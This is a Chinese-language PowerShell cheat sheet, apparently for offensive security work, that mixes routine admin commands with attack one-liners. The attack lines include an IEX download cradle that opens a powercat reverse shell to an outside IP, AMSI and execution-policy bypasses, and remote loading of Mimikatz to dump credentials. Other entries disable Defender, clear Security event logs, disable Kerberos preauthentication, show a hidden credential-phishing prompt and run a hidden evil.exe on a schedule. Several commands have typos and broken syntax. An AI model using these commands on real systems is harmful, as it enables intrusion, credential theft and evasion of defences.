PowerShell

PowerShell是一种跨平台的命令行工具和脚本语言,它可以用来执行系统管理和自动化任务。

PowerShell是基于.NET框架的,它可以使用.NET对象和类来访问和控制各种资源和服务,比如文件系统,注册表,网络,进程,服务等。

PowerShell还支持多种编程语言特性,比如变量,函数,循环,条件,异常处理等。

PowerShell还提供了一些扩展模块和工具,比如PowerShell Gallery, PowerShellGet, PowerShell Core等,可以让用户分享和获取更多的PowerShell代码和功能。

命令解释
get-content file用于获取文件的内容
stop-transcript用于停止记录powershell会话的活动,并将记录保存到一个文本文件中。这个命令必须与start-transcript命令配合使用,后者用于开始记录会话的活动
get-help command-examples用于显示某个命令的使用示例,帮助用户了解如何使用该命令。command-examples是一个参数,表示要获取帮助的命令的名称
get-command ‘string’用于获取与字符串匹配的所有可用命令
get-service用于获取本地计算机上安装的所有服务的信息
get-wmiobject -class win32 service用于获取本地计算机上安装的所有服务的信息,并将其作为WMI对象返回
$PSVersionTable用于获取powershell运行时环境的版本信息,并将其作为一个哈希表返回
powershell.exe -version 2.0用于启动一个指定版本的powershell进程,并进入该进程的交互模式
get-service measure-object用于统计本地计算机上安装的所有服务的数量
get-psdrive用于获取本地计算机上所有可用驱动器的信息
get-process select -expandproperty name用于获取本地计算机上运行的所有进程的名称
get-help ‘-parameter credential用于显示关于credential参数的帮助信息,并将其显示在控制台上。credential参数是一种通用参数,可以用于指定连接到远程计算机或服务所需的用户名和密码
get-wmiobject -list -‘network’用于获取与网络相关的所有WMI类的列表
(Net.DNS]: :GetnostEntry(” ip “I)用于调用.Net Framework中Net.DNS类的GetHostEntry方法,该方法可以根据IP地址解析主机名,并将结果作为一个IPHostEntry对象返回
powershell.exe wget “http://1.1.1.1/nc.exe” -outfile “e:\temp\nc.exe”用于启动一个powershell进程,并在该进程中执行wget命令,该命令可以从指定的URL下载一个文件,并将其保存到本地的指定路径
poweshell.exe -c

“IEX (New-Object System.Net.WebClient).DownloadString(‘http://2.1.1.1:80/powercat.ps1’);

powercat -c 2.1.1.1 -p 4444 -e cmd
启动一个powershell进程,并在该进程中执行一段字符串中的指令,该指令可以从指定的URL下载一个powershell脚本,并执行该脚本,该脚本可以创建一个反向shell连接到指定的IP和端口,并执行cmd命令

简单Web服务器

function Load-Packages
{
    param ([string] $directory = 'Packages')
    $assemblies = Get-ChildItem $directory -Recurse -Filter '*.dll' | Select -Expand FullName
    foreach ($assembly in $assemblies) { [System.Reflection.Assembly]::LoadFrom($assembly) }
}

Load-Packages

$url = 'http://*:443/'
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add($url)
$listener.Start()

Write-Host "Listening at $url..."

while ($listener.IsListening)
{
    $context = $listener.GetContext()
    $requestUrl = $context.Request.Url
    $response = $context.Response

    Write-Host ''
    Write-Host "> $requestUrl"

    $localPath = $requestUrl.LocalPath

    $buffer = [System.Text.Encoding]::UTF8.GetBytes('<html><body>Hello world!</body></html>')
    $response.ContentLength64 = $buffer.Length
    $response.OutputStream.Write($buffer, 0, $buffer.Length)

    $response.Close()

    $responseStatus = $response.StatusCode
    Write-Host "< $responseStatus"
}

AMSI绕过

1.
Import-Module .\Invoke-Obfuscation\Invoke-Obfuscation.psm1
Out-ObfuscatedTokenCommand -Path .\powerview.ps1 | Out-File out

2.
https://raw.githubusercontent.com/kmkz/Pentesting/master/AMSI-Bypass.ps1
. .\AMSI-Bypass.ps1
Invoke-AmsiBypass

绕过执行策略

1.本地权限绕过
powershell.exe -ExecutionPolicy Bypass -File xxx.ps1

2.通过本地隐藏权限进行绕过
powerShell.exe -ExecutionPolicy Bypass -NoLogo –NonInteractive -NoProfile -WindowStyle Hidden -File xxx.ps1

3.IEX下载远程PS1脚本权限绕过执行
powershell.exe “IEX(New-Object Net.WebClient).DownloadString('http://网址/对应脚本名称'); Invoke-Mimikatz -DumpCreds”

关闭导入时的确定选项

$Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerSploit) ) {Get-ChildItem $_ -Recurse | Unblock-File} 

关闭Windows Defender的实时监控

powershell -command set-mpppreference -Disable realtimemonitoring $true

列出所有用户

$users = New-Object DirectoryServices.DirectorySearcher
$users.Filter = "(&(objectclass=user))"
$users.SearchRoot = ''
$users.FindAll()

列出所有域

$computers = New-Object DirectoryServices.DirectorySearcher
$computers.Filter = "(&(objectclass=computer))"
$computers.SearchRoot = ''
$computers.FindAll()

设置账户不需要预身份验证就能进行Kerberos认证

Set-ADAccountControl -identity jorden -doesnotrequirepreauth 1

查看并清除指定计算机上的事件日志

Get-EventLog -list 
Clear-EventLog -logname Application, Security -computername admin 

导出本地计算机上操作系统的所有属性信息到一个CSV文件

Get-WmiObject -class win32 operatingsystem | select -property ' | 
export-csv c:\os.csv

列出正在运行的服务

Get-Service | where_object {$_.status -eq "Running"} 

创建持久的映射驱动器

New-PSDrive -Persist -PSProvider FileSystem -Root \\1.1.1.1\tools -Name i 

C盘中搜索所有后缀为.log的文件,并筛选出最后修改时间在2023年9月13日之后的文件

Get-Childitem -Path c:\ -Force -Recurse -Filter '.log -ErrorAction
SilentlyContinue | where {$_.LastWriteTime -gt "2023-09-13"} 

从指定URL下载文件并保存到指定的路径

(new-object system.net.webclient).downloadFile(''URL'',''PATH'')

TCP端口扫描

# 测试本地计算机的80端口是否开放
Test-NetConnection -ComputerName localhost -Port 80

# 测试远程计算机的3389端口是否开放
Test-NetConnection -ComputerName 192.168.0.1 -Port 3389

Ping主机

Test-Connection -TargetName red.ghostwolflab.com -TimeoutSeconds 5

隐藏PowerShell窗口来运行钓鱼弹窗

powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass $Host.UI.PromptForCredential(" title "," message "," user" "," domain")

每隔4小时检查一次当前日期和时间,如果是2023年9月13日到15日的早上9点到下午6点之间的任意时间,就以隐藏的方式运行C:\Temp\evil.exe这个可执行文件

powershell.exe -Command "do {if ((Get-Date -format yyyyMMdd-HHmm) -match '202309(1[3-5])-(0[9]|1[0-7])[0-5][0-9]') {Start-Process -WindowStyle Hidden "C:\Temp\evil.exe";Start-Sleep -s 14400))while(1)"

以指定的域名、用户名和密码,以管理员身份运行file.exe这个可执行文件

$pw = convertto-securestring -string "PASSWORD" -asplaintext -force;
$pp = new-object -typename System.Management.Automation.PSCredential -argument list "DOMAIN\user", $pw;
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command&{Start-Process file.exe -verb runas)'

使用PowerShell上传文件到FTP

# 设置FTP服务器的地址、用户名和密码
$ftp = "ftp://ftp.example.com"
$user = "username"
$pass = "password"

# 设置要上传的本地文件的路径和FTP服务器上的目标路径
$localFile = "C:\Temp\test.txt"
$remoteFile = "/test.txt"

# 创建一个FTP请求对象
$ftpRequest = [System.Net.FtpWebRequest]::Create("$ftp/$remoteFile")
$ftpRequest.Credentials = New-Object System.Net.NetworkCredential($user, $pass)
$ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile

# 读取本地文件的内容并写入FTP请求的流中
$content = [System.IO.File]::ReadAllBytes($localFile)
$ftpRequest.ContentLength = $content.Length
$ftpStream = $ftpRequest.GetRequestStream()
$ftpStream.Write($content, 0, $content.Length)
$ftpStream.Close()

# 获取FTP响应并显示结果
$ftpResponse = $ftpRequest.GetResponse()
Write-Host "Upload Status: $($ftpResponse.StatusDescription)"
$ftpResponse.Close()

发送电子邮件并附带一个文件(Send-MailMessage已经废弃)

Send-MailMessage -From 'snowwolf@ghostwolflab.com' -To 'apt@apt-incubator.com' -Subject '招高级安全研究员' -Body \"点击右上角关于我们\" -Attachments .\\job.xlsx -Priority High -DeliveryNotificationOption OnSuccess, OnFailure -SmtpServer 'smtp.ghostwolflab.com'

通过at和net time命令,在指定的时间对远程计算机进行一系列操作,以便启用并配置PowerShell远程管理功能,并最终建立与远程计算机的交互式会话

net time \ip
at \ip time "Powershell -Command 'Enable-PSRemoting -Force'"
at \ip time+1 "Powershell -Command 'Set-Item wsman:\localhost\client\trustedhosts'"
at \ip time+2 "Powershell -Command 'Restart-Service WinRM'"
Enter-PSSession -ComputerName ip -Credential username

列出所有域的主机名和IP

# 获取所有域的名称
$domains = Get-ADForest | Select-Object -ExpandProperty Domains

# 遍历每个域,获取域内的计算机对象
foreach ($domain in $domains) {
    # 创建一个域上下文对象
    $context = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $domain)
    # 获取域控制器对象
    $dc = [System.DirectoryServices.ActiveDirectory.DomainController]::FindOne($context)
    # 获取域内的计算机对象
    $computers = Get-ADComputer -Filter * -Server $dc.Name
    # 遍历每个计算机对象,获取主机名和IP地址
    foreach ($computer in $computers) {
        # 获取主机名
        $hostname = $computer.Name
        # 获取IP地址
        $ipaddress = [System.Net.Dns]::GetHostAddresses($hostname) | Where-Object {$_.AddressFamily -eq 'InterNetwork'} | Select-Object -ExpandProperty IPAddressToString
        # 输出主机名和IP地址
        Write-Output "$hostname : $ipaddress"
    }
}

下载文件

1.
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/PowerShell/PowerShell/master/README.md" -OutFile "test.txt"

2.
$client = New-Object System.Net.WebClient
$client.DownloadFile("https://raw.githubusercontent.com/PowerShell/PowerShell/master/README.md", "test.txt")

3.
Import-Module BitsTransfer
Start-BitsTransfer -Source "https://raw.githubusercontent.com/PowerShell/PowerShell/master/README.md" -Destination "test.txt"